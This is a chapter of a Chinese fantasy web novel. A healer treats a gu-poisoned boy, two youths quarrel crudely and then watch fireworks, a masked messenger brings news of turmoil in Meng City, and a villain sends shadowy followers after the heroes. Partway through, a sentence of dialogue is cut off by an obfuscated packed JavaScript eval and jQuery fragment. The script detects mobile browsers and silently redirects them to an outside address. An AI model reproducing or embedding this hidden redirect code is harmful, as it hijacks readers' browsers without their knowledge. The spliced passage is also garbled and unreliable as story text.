虞衡坐在床边的矮凳上微微弓着身,手里捏着一根细长的银针,缓缓从床上小公子心口附近一处穴位拔出,针尖带出一点黑血,他对着光眯了眯眼,仔细看了看,将针丢进旁边桌上,一个盛着半碗清水的陶碗,清水瞬间变得浑浊。
“这蛊有点意思。”虞衡又取出一根针,扎在小公子锁骨下方,“他现在的情况,就算我用灵力强行把扎根在他体内里的蛊毒逼出来,还是会留下残根,玄门这些小玩意,越来越精进了。”他拔出发黑的银针,将其丢进碗里,拿起桌上干净的布擦了擦手。
“一点办法也没有?”宋凌问。
“解铃还须系铃人,这种东西,玄门老毒物才知道如何根除,眼下能吊住他这口气,性命无忧已经不错了。”
“他什么时候能醒?”
“看造化喽!”虞衡站起身,抻了抻自己一把老骨头,活动活动僵硬的脖颈,“短则几个时辰,长则一两天,醒了是精是傻也不清楚,现在离不开人,蛊毒伤神,守着以防万一。”
话落,楼下传来一阵拔高的吵嚷声,听着应该是李云凡,中间还夹杂着沈少时不紧不慢的反驳,嗡嗡地透过地板传上来。
宋凌听得皱起眉头,李云凡这家伙又在干什么?怎么到哪都没有消停时候!
虞衡笑道:“现在这些年轻人聚在一起,挺热闹的嘛!”
楼下厅堂角落确实热闹非凡。
李云凡一手插着腰,另一只手指着沈少时鼻子,梗着脖子道:“你少跟我扯这些没用的,你怎么欠欠的!明明就是你的问题,还死鸭子嘴硬!贱不贱你!”
沈少时冷哼声,不服气地叉起腰:“你才欠!你才贱!我不过是打招呼认识下,四海结兄弟,你踹我干什么?见不得人好啊!”
“放屁!你奶奶个孙的!你那贼眼睛老在人家身上溜,你礼貌吗?还世家公子!连街头要饭的老乞儿裤衩头都比不上!臭人!贱人!烂人!我呸!”
“好啦好啦!”余窑扯了扯李云凡袖子,“你们都少说两句,消消气,都别吵了,莫伤了和气。”
“谁跟他合!我又不是他爹,我跟他合个球!他就存心来克我的!我他妈真想一脚给他踹绝后了!”
“云凡哥哥……”余窑又扯了下,“别吵了,听话!”
“云凡哥哥,听见没?人家让你少说两句。”沈少时贱兮兮的阴阳道。
“你大爷!我他妈把你祖宗坟平了!还是把你家后山的七大姑八大姨都撅出来了!浪没边了你!”
李云凡觉得骂都不解气,抬脚就要踹上去,余窑赶忙搂住他的腰向后拖:“云凡哥哥,别冲动!”
沈少时见他气的跳脚,得意的笑了笑,准备开启下一轮互怼时,一声尖锐划破夜空,发出沉闷的爆响。
漆黑的夜空上,绽开一大团绚烂的金色,哗啦啦地散落,照亮了半条街房屋和行人。
“烟花!”李云凡扭过头看向门外,怒火瞬间抛开,抓住余窑手腕兴奋地往外跑去“快快快!听这声响,烟花肯定好看!”
“哎!等等……”
“等什么等,过着村没这店了。”他拉着余窑冲了出去。
沈少时一个人站在原地,无奈地摇摇头,李云凡看着嘴毒,实则没多少心眼子,幼稚的很,他这次交的朋友,都是些有趣的人。
街上已经聚了不少人,都仰着头看向空中五彩的光焰。
李云凡拉着余窑挤到人群前头,仰着脖子赞叹道:“哇塞!这个好!又大又漂亮!你看那个!”他指向空中一个绽开的蓝紫色光焰,“这个花色搭配的简直完美,我要给做这个烟花的师傅打满分!余窑,你喜不喜欢烟花?”
余窑仰头看着热闹的夜空,心里有些酸楚,在他的世界里,璀璨多彩的夜空,不过是明灭闪烁的灰白光亮,只有轰轰声响是真切的。
他静静地看了片刻,回答道:“喜欢……”
“对吧!我就说嘛,哪有人不喜欢烟花。”李云凡没听出他话中的其他情绪,他说喜欢便是喜欢,拽着他的手改为搭上他肩膀,更来劲了,“我跟你说,烟花是世界上最漂亮的东西!小时候在梦城,我经常求着我哥,带我去街上最高的楼顶看烟花,视野开阔,看着特别过瘾!当然,那的烟花也比这大,一嘭嘭就是半个多时辰,这里虽比不上梦城,但也别具一格。”
余窑目光追随着那些迅速升起,又很快消散的光点,扯了扯嘴角,心里酸楚更浓。
“不就是几束光吗……亮一下,就没了,一会就结束了……”
“那怎么能一样!”李云凡扭过头看他,反驳道,“虽然烟火一瞬,但图的是开心啊!人这一辈子,开心最重要!”他忽地想起什么,“哎!有烟花,附近肯定有打铁花的!那玩意儿更好看!走走走!”
余窑被他攥着手腕急走,犹豫道:“其实我……去不去都一样……”
“怎么能一样?两者不同!和你说也说不明白,你去看看就不这么想了。”
——
沈少时靠在客栈门框上,懒洋洋地望着空中忽明忽暗的热闹,那双带着笑意的眼睛,此刻没什么情绪,只是静静地看着。
一颗小石子从上空落在地上,下一瞬,一个黑影轻飘飘落在地面,看身形是个女子,黑巾蒙面,穿着夜行衣,对沈少时抱拳躬身道:“公子,借一步说话。”
沈少时看向蒙面女子,随意地应了声,跟着她朝着远处的一条胡同走去。
走进胡同,蒙面女子单膝跪地,声音急促道:“公子,梦城有变,站在三世家这边的人,不少都倒向外敌,朝廷被不明势力威压的越来越严重,有人暗中调整棋局,想扳倒三世家,摧毁固国根本!老爷特命属下火速寻您,请您即刻回去商讨对策。”
巷子里安静一瞬,背对着蒙面女子的沈少时慢慢转过身,道:“急什么,我不是留人了么?还让我回去做什么,急着送死去?”
蒙面女子抬头,眼中闪过一丝错愕:“公子!”
沈少时向前走出一步,道:“本公子离家时曾说过,找到一只合眼缘的‘宠物’自然会回去,用不着我爹派人过来请我。”
蒙面女子急道:“公子,眼下情况危急,岂是任性的时候!老爷他……”
“行了。”沈少时打断她,“我这才寻到一只合眼缘的‘宠物’准备拿下,还交到几个有趣的新朋友,我不想回去,你们催我有什么用。”他顿了顿,“局势是变了,可梦城那潭浑水,我回去就能搅清?回去也是笼中多一个囚人。”
“可是……”
“别可是了,本公子决定的事,谁也改变不了,你马上回去,给我爹带几句话。”
蒙面女子垂下头:“公子请吩咐。”
沈少时声音低沉:“就说,想要解决梦城的根本问题,便不能所有人都留在城内,总得有人在外头看看风向是怎么吹的,看看这些外敌和不明势力究竟是何方神圣,缩在壳里,只有等死!除此之外,也要顺带和另外两家说一声,三世家是镇局核心,他们未定之前,我们三家不能乱,更不能背刺,否则,这个局会越来越难破,越来越难抓到把柄,死的人也会越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035014|192910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来越多。”
蒙面女子身体微微一震,抬起头凝重道:“属下明白了!”
——
看打铁花人比看烟花的人多的多,中央空地上,有两个赤着膀子的大汉,其中一个用长柄铁勺从燃烧的炉火中舀起一勺滚烫的铁水轻轻抛向空中,另一个用特制的木拍子猛地朝铁水狠狠一击——
嘭!
一簇绚烂的金红色火星炸开,散成一片辉煌耀眼的银花洒落,引得周围人群一片喝彩。
李云凡握着余窑的手腕向前凑了凑,找到最佳的位置后,晃了晃余窑胳膊:“看!这就是打铁花!”
铁花的光亮在余窑眼中划过,他轻轻地应了声,没多说话,不想扫兴。
人群另一头,急促的女声由远及近:“锅锅!你搞快点嘛!前头肯定更热闹!”
玫果拽着西琅往人堆里扎,西琅眉头拧着,一脸不情愿。
“玫果姑娘!”西琅发出声警告,“我是带你来执行任务的,不是让你闲逛的!”
“晓得晓得!”玫果头也不回地继续向前走,眼睛盯着场地中央又一次炸开的铁花,“顺带耍一哈嘛!你那个任务现在又不能一趟搞完,晚上还要楞个忙嗦?放松放松嘛!”
西琅被她拽着挤到人群前头,正好站在李云凡和余窑对面。
玫果松开西琅,拍手欢呼起来:“好漂亮哦!”
西琅没心情看打铁花,习惯性在拥挤的人群中扫视,目光掠过一张张忽明忽暗的脸,在某个人前,目光定住了。
对面那个被炸炸呼呼少年攥着手腕的人,身上的气息很熟悉,难不成是他?
同时,余窑总觉得人群中有双眼睛在审视自己,他下意识朝着视线感强烈的地方望去,只一眼,心里咯噔下。
“云凡哥哥……”他另一只手抓向李云凡袖子,压低声音,“对面那个人不像好人……我们不能在这待了……”
李云凡正看得起劲,闻言愣了下,朝着对面张望:“哪个?哪个不像好人?”他眯着眼在晃动的人头和火光里寻找。
“别……别看!”余窑急的声音变了调,用力扯他的袖子,“你这样会引起对方注意的……”
西琅将对面人的一系列反应都看在眼里,嘴角勾起冰冷弧度,猜疑变成确定了!他悄悄与玫果拉开距离,身形一侧向后挪,很快消失在人群里。
玫果还沉浸在打铁花里,半晌没听到旁边人声音,纳闷地回头:“哎!人呢?”
余窑在李云凡扭过头再次沉浸在打铁花的快乐时,忐忑不安地小心望向对面,人不见了!
余窑心一沉,着急地再次扯李云凡袖子,“云凡哥哥……我求你了!快带我走吧!现在就走!”
李云凡疑惑地看向余窑,搞不明白他又怎么了,虽然还想再看一会壮观的打铁花,但注意到他抓着自己袖子的手在抖,只好妥协。
“行吧。不看就不看,等你想看我再带你出来,咱们回去找宋冰块和虞老头去。”
李云凡护着他开始往外挤。
高高的民居房顶上,西琅蹲在屋脊的阴影中,望着下方街道上两个匆忙离去的身影,冷冷地笑了声,自语道:“天助我也!”
他抬手打个响指,身后阴影浮现出几个身穿黑斗篷的人,面容隐藏在帽兜的阴影下,周身散着阴邪之气。
“跟紧他们。”西琅头也不回地开口,“摸清他们落脚的地方,看看有多少同伴。”
几个黑斗篷人微微颔首,化作几缕稀薄的黑气朝着房下掠去,遁入地面的缝隙之中。